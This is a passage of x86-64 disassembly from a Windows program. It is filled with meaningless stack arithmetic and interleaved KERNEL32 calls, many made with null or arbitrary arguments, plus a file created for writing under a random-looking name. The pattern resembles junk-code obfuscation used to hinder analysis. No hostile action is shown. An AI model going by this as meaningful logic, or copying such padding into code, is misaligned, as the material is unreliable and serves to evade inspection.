mov byte [rsp + 0x7e2], al
mov rax, qword [rsp + 0x14f08]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x313c]
sub eax, ecx
mov word [rsp + 0x32b4], ax
mov eax, dword [rsp + 0x65a8]
mov ecx, dword [rsp + 0xb4ec]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xb2fc], eax
mov rax, qword [rsp + 0x15078]
mov eax, dword [rax]
mov ecx, dword [0x14028ea48]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x6824], eax
movsx eax, word [rsp + 0x3004]
mov rcx, qword [rsp + 0x153b8]
movsx ecx, word [rcx]
add eax, ecx
mov word [0x14028ed20], ax
movsx eax, byte [rsp + 0x726]
movsx ecx, byte [0x140281ebe]
add eax, ecx
mov byte [rsp + 0x28d], al
mov rax, qword [rsp + 0x15920]
movzx eax, byte [rax]
mov byte [rsp + 0x7e3], al
mov rax, qword [rsp + 0x147b0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2b30]
sub eax, ecx
mov word [rsp + 0x2b94], ax
mov eax, dword [rsp + 0xb28c]
mov ecx, dword [0x1402827e0]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x14bd0]
mov dword [rcx], eax
lea rax, [rsp + 0x825c]
mov qword [rsp + 0x15b30], rax
mov rax, qword [rsp + 0x140d0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x8404]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x7fa0], eax
lea rax, [0x140282854]
mov qword [rsp + 0x15b38], rax
mov rax, qword [rsp + 0x14fe0]
mov ecx, dword [rsp + 0xa6f0]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xaca4], eax
movzx eax, byte [rsp + 0x740]
mov rcx, qword [rsp + 0x154f0]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x638], al
lea rdx, [rsp + 0x23430]
mov rcx, qword [rsp + 0x14af0]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0xb064], eax
mov dword [rsp + 0x25310], 0x114
lea rax, [rsp + 0x2fc8]
mov qword [0x14028ea08], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [rsp + 0xa58c], eax
lea rax, [rsp + 0xa4a8]
mov qword [rsp + 0x15b40], rax
mov rax, qword [rsp + 0x14ab8]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x15b08]
mov qword [rsp + 0x15b48], rcx
movzx ecx, al
mov rax, qword [rsp + 0x15b48]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x8610], eax
lea rax, [rsp + 0xa184]
mov qword [rsp + 0x15b50], rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_PeekNamedPipe]
mov eax, dword [rsp + 0xafe4]
mov rcx, qword [rsp + 0x14d50]
mov qword [rsp + 0x15b58], rcx
movzx ecx, al
mov rax, qword [rsp + 0x15b58]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x80c0], eax
mov rax, qword [rsp + 0x158c8]
movzx eax, byte [rax]
mov byte [rsp + 0x7e4], al
mov rax, qword [rsp + 0x14310]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x3244]
or eax, ecx
mov word [rsp + 0x2bb0], ax
mov rax, qword [0x14028eaa8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x798]
xor eax, ecx
mov byte [rsp + 0x72f], al
movsx eax, word [rsp + 0x3220]
movsx ecx, word [rsp + 0x31e0]
and eax, ecx
mov word [rsp + 0x1764], ax
mov rax, qword [rsp + 0x14560]
mov ecx, dword [rsp + 0xa4d8]
mov eax, dword [rax]
sub eax, ecx
mov dword [0x140282760], eax
mov rax, qword [rsp + 0x14018]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xaa40]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa4e0], eax
call qword [sym.imp.KERNEL32.dll_ConvertFiberToThread]
mov rax, qword [rsp + 0x147c8]
movzx eax, byte [rax]
mov byte [rsp + 0x7e5], al
mov rax, qword [0x14028ee48]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x13eb8]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x3074], ax
mov rax, qword [rsp + 0x151d8]
mov rcx, qword [rsp + 0x150e0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xb5b0], eax
lea rax, [rsp + 0xae8c]
mov qword [rsp + 0x15b60], rax
mov rax, qword [rsp + 0x14a10]
mov ecx, dword [rsp + 0x8f34]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x15208]
mov dword [rcx], eax
mov rax, qword [rsp + 0x15330]
mov eax, dword [rax]
mov dword [rsp + 0xb604], eax
mov rax, qword [rsp + 0x14d08]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x6ea]
add eax, ecx
mov rcx, qword [rsp + 0x14dc0]
mov byte [rcx], al
movzx eax, word [0x14028ede4]
mov rcx, qword [rsp + 0x15a50]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x140282a18], ax
mov rax, qword [rsp + 0x15168]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xb13c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xaf00], eax
mov eax, dword [rsp + 0x6cec]
mov rcx, qword [rsp + 0x13f10]
mov qword [rsp + 0x15b68], rcx
movzx ecx, al
mov rax, qword [rsp + 0x15b68]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x7fdc], eax
mov eax, dword [rsp + 0x747c]
movzx ecx, al
mov eax, dword [rsp + 0xaaf4]
shl eax, cl
mov dword [rsp + 0xa774], eax
lea rax, [rsp + 0x6558]
mov qword [rsp + 0x15b70], rax
mov rax, qword [0x14028ee50]
mov rcx, qword [rsp + 0x13e78]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0xa230], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x200
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, 2
mov edx, 0x40000000
lea rcx, str.n2hv6N34j16dR2GWEeqJGGjImKftZJo
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x15b78], rax
mov dword [rsp + 0x20], 0x36ea
mov r9d, 0x1307
mov r8d, 0x1c2e
mov edx, 0xb20
mov rcx, qword [rsp + 0x15028]
call qword [sym.imp.KERNEL32.dll_LockFile]
mov dword [rsp + 0xa96c], eax
movzx eax, word [rsp + 0x2cec]
mov word [rsp + 0x32d4], ax
mov rax, qword [rsp + 0x156d0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x64e]
xor eax, ecx
mov rcx, qword [rsp + 0x14d70]
mov byte [rcx], al
lea rcx, [rsp + 0x21ae0]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
movzx eax, byte [rsp + 0x6d6]
movzx ecx, byte [rsp + 0x779]
and eax, ecx
mov byte [rsp + 0x7a8], al
movzx eax, word [rsp + 0x2b60]
movzx ecx, word [rsp + 0x2fac]
add eax, ecx
mov word [0x1402826d0], ax
mov rax, qword [rsp + 0x141c0]
mov eax, dword [rax]
mov dword [rsp + 0xb608], eax
mov rax, qword [0x14028ee60]
mov ecx, dword [rsp + 0xa638]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x91c0], eax
movzx eax, word [rsp + 0x2d08]
mov rcx, qword [rsp + 0x14388]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2810], ax
movzx eax, byte [rsp + 0x787]
mov rcx, qword [rsp + 0x15088]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x299], al
mov rax, qword [rsp + 0x141e8]
mov ecx, dword [rsp + 0xad7c]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xb3f8], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetTapeStatus]
mov rax, qword [rsp + 0x15a48]
mov eax, dword [rax]
mov dword [rsp + 0xb60c], eax
mov eax, dword [rsp + 0xb098]
mov ecx, dword [rsp + 0xaca4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x78e0], eax
mov rax, qword [rsp + 0x147c0]
mov eax, dword [rax]
mov dword [rsp + 0xb610], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0xb614], eax
mov rax, qword [rsp + 0x15120]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x6df]
sub eax, ecx
mov byte [0x140281f0e], al
movzx eax, word [0x1402828e8]
mov rcx, qword [rsp + 0x14708]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2b64], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov rax, qword [rsp + 0x14ea8]
mov rcx, qword [rsp + 0x14df0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xa71c], eax
mov rax, qword [rsp + 0x15b08]
mov eax, dword [rax]
mov dword [rsp + 0xb618], eax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0xaeac], eax
mov rax, qword [0x14028ed38]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x32bc]
or eax, ecx
mov word [rsp + 0x20f4], ax
movsx eax, byte [rsp + 0x765]
movsx ecx, byte [rsp + 0x6a4]
shl eax, cl
mov byte [rsp + 0x344], al
mov rax, qword [0x14028ea90]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x305c]
sar eax, cl
mov word [rsp + 0x2d74], ax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0xaa80], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateFiber]
movzx eax, byte [rsp + 0x6d9]
movzx ecx, byte [rsp + 0x6ea]
xor eax, ecx
mov byte [rsp + 0x7aa], al
mov eax, dword [rsp + 0xb184]
mov dword [rsp + 0xb61c], eax
lea rax, [0x140282864]
mov qword [0x14028ea00], rax
mov eax, dword [rsp + 0xa734]
mov ecx, dword [rsp + 0xaef0]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x155f0]
mov dword [rcx], eax
mov eax, dword [rsp + 0x7cfc]
mov dword [rsp + 0xb620], eax
mov rax, qword [0x14028eb78]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa4c4]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x7e6c], eax
mov rax, qword [rsp + 0x14900]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x14a20]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xc1], al
mov rax, qword [rsp + 0x15a78]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x15718]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2e2c], ax
mov eax, dword [rsp + 0xa4b8]
mov ecx, dword [rsp + 0xb01c]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x14cc8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x15418]
mov eax, dword [rax]
mov dword [rsp + 0xb624], eax
mov rax, qword [rsp + 0x15398]
mov ecx, dword [rsp + 0xacf0]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xa654], eax
mov rax, qword [rsp + 0x15a10]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xaea0]
and ecx, eax
mov eax, ecx
mov dword [0x140282850], eax
lea rax, [rsp + 0x2b48]
mov qword [rsp + 0x15b80], rax
movzx eax, byte [rsp + 0x72e]
movzx ecx, byte [rsp + 0x7b1]
add eax, ecx
mov rcx, qword [rsp + 0x155c8]
mov byte [rcx], al
mov rax, qword [rsp + 0x14198]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x78f]
sub eax, ecx
mov rcx, qword [rsp + 0x13ea8]
mov byte [rcx], al
mov rax, qword [rsp + 0x153a8]
movzx eax, word [rax]
mov word [rsp + 0x32d8], ax
mov rax, qword [rsp + 0x15b30]
mov ecx, dword [rsp + 0xa88c]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x155e0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x149a0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xb588]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x7390], eax
movzx eax, word [rsp + 0x160c]
movzx ecx, word [rsp + 0x2fd8]
shl eax, cl
mov word [rsp + 0x2c64], ax
mov rax, qword [0x14028ed60]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x14280]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x6c5], al
mov rax, qword [rsp + 0x14840]
mov ecx, dword [rsp + 0xaf78]
mov eax, dword [rax]
or eax, ecx
mov dword [0x1402829f0], eax
mov rax, qword [rsp + 0x14d60]
mov eax, dword [rax]
mov dword [rsp + 0xb628], eax
mov rax, qword [rsp + 0x15098]
mov eax, dword [rax]
mov ecx, dword [0x1402828a4]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x9514], eax
lea rax, [rsp + 0xa388]
mov qword [rsp + 0x15b88], rax
movzx eax, word [rsp + 0x2b38]
mov rcx, qword [rsp + 0x15860]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x14a78]
mov word [rcx], ax
movzx eax, byte [rsp + 0x758]
mov byte [rsp + 0x7e6], al
mov eax, dword [rsp + 0xaab0]
mov ecx, dword [rsp + 0xaee4]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xa6ac], eax
call qword [sym.imp.KERNEL32.dll_AreFileApisANSI]
mov dword [rsp + 0xb62c], eax
mov rax, qword [rsp + 0x146c8]
mov rcx, qword [0x14028edd0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x7e58], eax
mov rax, qword [rsp + 0x14618]
mov ecx, dword [rsp + 0x88b8]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x67c8], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadIOPendingFlag]
mov eax, dword [rsp + 0xb1c8]
mov dword [0x14028e9fc], eax
mov rax, qword [rsp + 0x146f8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xafe0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa780], eax
mov rax, qword [rsp + 0x15880]
movzx eax, byte [rax]
mov byte [rsp + 0x7e7], al
mov rax, qword [rsp + 0x14530]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2dc4]
add eax, ecx
mov word [rsp + 0x2f3c], ax
mov rax, qword [rsp + 0x156e0]
movzx eax, byte [rax]
movzx ecx, byte [0x140281eef]
and eax, ecx
mov byte [rsp + 0x63f], al
mov rax, qword [rsp + 0x15378]
movzx eax, word [rax]
mov word [rsp + 0x32dc], ax
mov eax, dword [rsp + 0x7bc8]
mov ecx, dword [rsp + 0xb584]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xa92c], eax
lea rax, [rsp + 0xaa0c]
mov qword [rsp + 0x15b90], rax
movzx eax, word [rsp + 0x2d70]
movzx ecx, word [rsp + 0x2e3c]
sar eax, cl
mov word [rsp + 0x2dbc], ax
movzx eax, byte [rsp + 0x586]
movzx ecx, byte [rsp + 0x51d]
shl eax, cl
mov byte [0x140281ecf], al
mov rax, qword [rsp + 0x15ab8]
mov ecx, dword [rsp + 0xa7ec]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x9e40], eax
mov rax, qword [rsp + 0x14e58]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xb3f0]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x9554], eax
mov rcx, qword [rsp + 0x147e0]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0xa96c], eax
mov rax, qword [rsp + 0x158a0]
mov rcx, qword [0x14028ea98]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x158f0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x14d78]
mov eax, dword [rax]
mov dword [rsp + 0xb630], eax
movzx eax, byte [rsp + 0x7b8]
movzx ecx, byte [rsp + 0x732]
and eax, ecx
mov byte [rsp + 0x76a], al
mov rax, qword [rsp + 0x15610]
movzx eax, word [rax]
movzx ecx, word [0x14028ec2c]
sub eax, ecx
mov word [rsp + 0x2ff8], ax
mov eax, dword [rsp + 0x6ddc]
mov dword [rsp + 0xb634], eax
mov rax, qword [rsp + 0x14a88]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xb478]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xb238], eax
movsx eax, word [rsp + 0x3054]
mov rcx, qword [rsp + 0x155a8]
movsx ecx, word [rcx]
add eax, ecx
mov word [0x140282a1c], ax
movzx eax, byte [rsp + 0x76b]
mov byte [rsp + 0x7e8], al
movzx eax, word [rsp + 0x31c4]
mov rcx, qword [rsp + 0x15060]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2d7c], ax
lea rax, [rsp + 0x325]
mov qword [rsp + 0x15b98], rax
lea rcx, [rsp + 0x248f0]
call qword [sym.imp.KERNEL32.dll_GetVersionExW]
mov dword [rsp + 0xb638], eax
mov eax, dword [rsp + 0xab84]
mov ecx, dword [rsp + 0x79a4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xb2b0], eax
mov rax, qword [rsp + 0x14f80]
mov rcx, qword [rsp + 0x14248]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x7c24], eax
lea rax, [rsp + 0x7dbc]
mov qword [rsp + 0x15ba0], rax
mov rax, qword [rsp + 0x145d8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xb57c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x9c60], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMemoryResourceNotification]
mov rax, qword [rsp + 0x15948]
mov ecx, dword [rsp + 0x8288]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x9550], eax
movzx eax, byte [rsp + 0x640]
mov rcx, qword [rsp + 0x15138]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x653], al
mov rax, qword [rsp + 0x15860]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x140d8]
movzx ecx, word [rcx]
shl eax, cl
mov word [0x14028274c], ax
mov rax, qword [0x14028ee80]
mov rcx, qword [rsp + 0x15b40]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x9050], eax
mov rax, qword [rsp + 0x15090]
mov eax, dword [rax]
mov dword [rsp + 0xb63c], eax
mov rax, qword [rsp + 0x14a88]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0xabc4]
sar eax, cl
mov dword [rsp + 0xb0ac], eax
mov rax, qword [0x14028ecc8]
mov eax, dword [rax]
mov dword [rsp + 0xb640], eax
mov rax, qword [rsp + 0x14240]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x14d40]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1834], ax
movzx eax, byte [rsp + 0x679]
mov rcx, qword [rsp + 0x14b20]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x145a8]
mov byte [rcx], al
mov rax, qword [0x14028ebd8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x156a8]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x1b7c], ax
movsx eax, byte [rsp + 0x71b]
movsx ecx, byte [rsp + 0x71a]
sub eax, ecx
mov byte [rsp + 0x619], al
mov rax, qword [rsp + 0x144a8]
mov ecx, dword [0x140282824]
mov eax, dword [rax]
add eax, ecx
mov dword [0x140282a20], eax
mov rax, qword [rsp + 0x15118]
mov eax, dword [rax]
mov dword [rsp + 0xb644], eax
lea rdx, [rsp + 0xb648]
mov rcx, qword [rsp + 0x15530]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0xa964], eax
mov rax, qword [rsp + 0x15440]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x14b08]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x14900]
mov byte [rcx], al
movzx eax, word [0x140282814]
mov rcx, qword [rsp + 0x153d0]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x3248], ax
mov rax, qword [rsp + 0x15108]
mov eax, dword [rax]
mov dword [rsp + 0xb64c], eax
mov rax, qword [rsp + 0x14588]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xae84]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xaf48], eax
lea rax, [0x14028ec60]
mov qword [rsp + 0x15ba8], rax
mov rax, qword [rsp + 0x14e18]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xb418]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa9bc], eax
movzx eax, word [rsp + 0x1834]
mov rcx, qword [rsp + 0x14e78]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x180c], ax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xaeac], eax
movzx eax, byte [rsp + 0x737]
mov byte [0x14028e9fb], al
mov rax, qword [rsp + 0x14a18]
mov rcx, qword [rsp + 0x144a8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x14a70]
mov dword [rcx], eax
mov rax, qword [rsp + 0x15090]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0xb198]
shl eax, cl
mov dword [rsp + 0xb4a8], eax
lea rax, [rsp + 0xa3d0]
mov qword [rsp + 0x15bb0], rax
mov rax, qword [rsp + 0x14ed0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xb478]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0xa480], eax
mov r9d, 1
lea r8, [rsp + 0x15188]
mov rdx, qword [rsp + 0x14308]
mov rcx, qword [rsp + 0x14a50]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0xb40c], eax
mov eax, dword [rsp + 0xb2a4]
mov dword [rsp + 0xb650], eax
movsx eax, word [rsp + 0x273c]
mov rcx, qword [0x14028ea78]
movsx ecx, word [rcx]
cdq
idiv ecx
mov word [rsp + 0x1478], ax
mov rax, qword [rsp + 0x13f90]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x14c50]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x7b6], al
movzx eax, word [rsp + 0x2bec]
mov word [rsp + 0x32e0], ax
mov rax, qword [rsp + 0x15138]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x14470]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [0x140281dcf], al
mov rax, qword [rsp + 0x153f0]
mov rcx, qword [rsp + 0x14a18]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x14880]
mov dword [rcx], eax
mov rax, qword [rsp + 0x15388]
mov rcx, qword [0x14028eb38]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x6dfc], eax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x15bb8], rax
mov rax, qword [rsp + 0x14900]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x6fb]
add eax, ecx
mov byte [rsp + 0x789], al
movzx eax, word [rsp + 0x30f8]
movzx ecx, word [rsp + 0x15a8]
and eax, ecx
mov rcx, qword [rsp + 0x15908]
mov word [rcx], ax
mov eax, dword [rsp + 0x7c64]
mov dword [rsp + 0xb654], eax
mov rax, qword [rsp + 0x147f8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x77ec]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x6944], eax
mov rax, qword [rsp + 0x14820]
mov eax, dword [rax]
mov dword [rsp + 0xb658], eax
mov rax, qword [rsp + 0x14098]
mov rcx, qword [rsp + 0x14300]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xa558], eax
mov rax, qword [rsp + 0x143f8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x751]
add eax, ecx
mov byte [0x140281f0f], al
movzx eax, word [rsp + 0x2730]
mov word [rsp + 0x32e4], ax
mov eax, dword [rsp + 0x7848]
mov ecx, dword [0x140282980]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x8fbc], eax
mov eax, dword [rsp + 0xa4fc]
mov ecx, dword [rsp + 0xac44]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x7c9c], eax
movsx eax, byte [rsp + 0x2e9]
mov rcx, qword [rsp + 0x14d70]
movsx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x3ee], al
movsx eax, word [rsp + 0x2cf8]
movsx ecx, word [rsp + 0x2f98]
sar eax, cl
mov word [rsp + 0x1b7c], ax
movzx eax, word [rsp + 0x2fb4]
mov word [rsp + 0x32e8], ax
mov rax, qword [rsp + 0x15138]
movzx eax, byte [rax]
movzx ecx, byte [0x14028ed70]
shl eax, cl
mov rcx, qword [rsp + 0x155e8]
mov byte [rcx], al
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadTimes]
mov eax, dword [rsp + 0xa8d8]
mov ecx, dword [rsp + 0x97f4]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0xb548], eax
lea rcx, [rsp + 0x250d0]
call qword [sym.imp.KERNEL32.dll_GetVersionExW]
mov dword [rsp + 0xaac8], eax
mov rax, qword [rsp + 0x14c20]
mov ecx, dword [rsp + 0xa470]
mov eax, dword [rax]
and eax, ecx
mov dword [0x1402828b4], eax
mov rax, qword [0x14028edd0]
mov eax, dword [rax]
mov dword [rsp + 0xb65c], eax
mov rax, qword [rsp + 0x14a58]
mov ecx, dword [rsp + 0xaaac]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xade4], eax
mov rax, qword [rsp + 0x14ed0]
mov ecx, dword [0x1402827bc]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x9004], eax
movzx eax, word [rsp + 0x326c]
movzx ecx, word [rsp + 0x2f34]
add eax, ecx
mov word [rsp + 0x2f80], ax
movzx eax, byte [rsp + 0x7c2]
mov rcx, qword [rsp + 0x14698]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x686], al
mov eax, dword [rsp + 0xa4fc]
mov dword [rsp + 0xb660], eax
mov rax, qword [rsp + 0x15a48]
mov rcx, qword [rsp + 0x15428]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xa3f4], eax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetInformationJobObject]
mov eax, dword [rsp + 0xb290]
mov dword [rsp + 0xb664], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0x14748]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6fd8]
add ecx, eax
mov eax, ecx
mov dword [0x140282a24], eax
movzx eax, word [rsp + 0x2e14]
movzx ecx, word [rsp + 0x2c88]
sub eax, ecx
mov word [rsp + 0x21fc], ax
movzx eax, byte [rsp + 0x77e]
movzx ecx, byte [rsp + 0x789]
add eax, ecx
mov byte [rsp + 0x74b], al
lea rax, [rsp + 0x79e]
mov qword [rsp + 0x15bc0], rax
mov rax, qword [rsp + 0x15928]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x14eb0]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x15a88]
mov word [rcx], ax
mov eax, dword [rsp + 0xaa00]
movzx ecx, al
mov eax, dword [rsp + 0xa7f8]
shr eax, cl
mov dword [rsp + 0x9158], eax
mov rax, qword [rsp + 0x158f0]
mov ecx, dword [rsp + 0x6974]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0xb57c], eax
mov rax, qword [rsp + 0x153a0]
movzx eax, byte [rax]
mov byte [rsp + 0x7e9], al
movzx eax, word [rsp + 0x19d0]
mov rcx, qword [rsp + 0x153e0]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x1f14], ax
mov rax, qword [rsp + 0x14bd0]
mov rcx, qword [rsp + 0x153f8]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [0x14028ec18]
mov dword [rcx], eax
mov rax, qword [rsp + 0x15758]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xabe8]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x15ba0]
mov dword [rcx], eax
mov eax, dword [0x1402826c4]
mov dword [rsp + 0xb668], eax
mov rax, qword [rsp + 0x15b60]
mov ecx, dword [rsp + 0xa93c]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xaea8], eax
mov rax, qword [rsp + 0x146d8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x15af8]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1540], ax
mov dword [rsp + 0x20], 0x355
mov r9d, 0xd0f
mov r8d, 0x1c7a
mov edx, 0x3248
mov rcx, qword [rsp + 0x14bf0]
call qword [sym.imp.KERNEL32.dll_LockFile]
mov dword [rsp + 0xb16c], eax
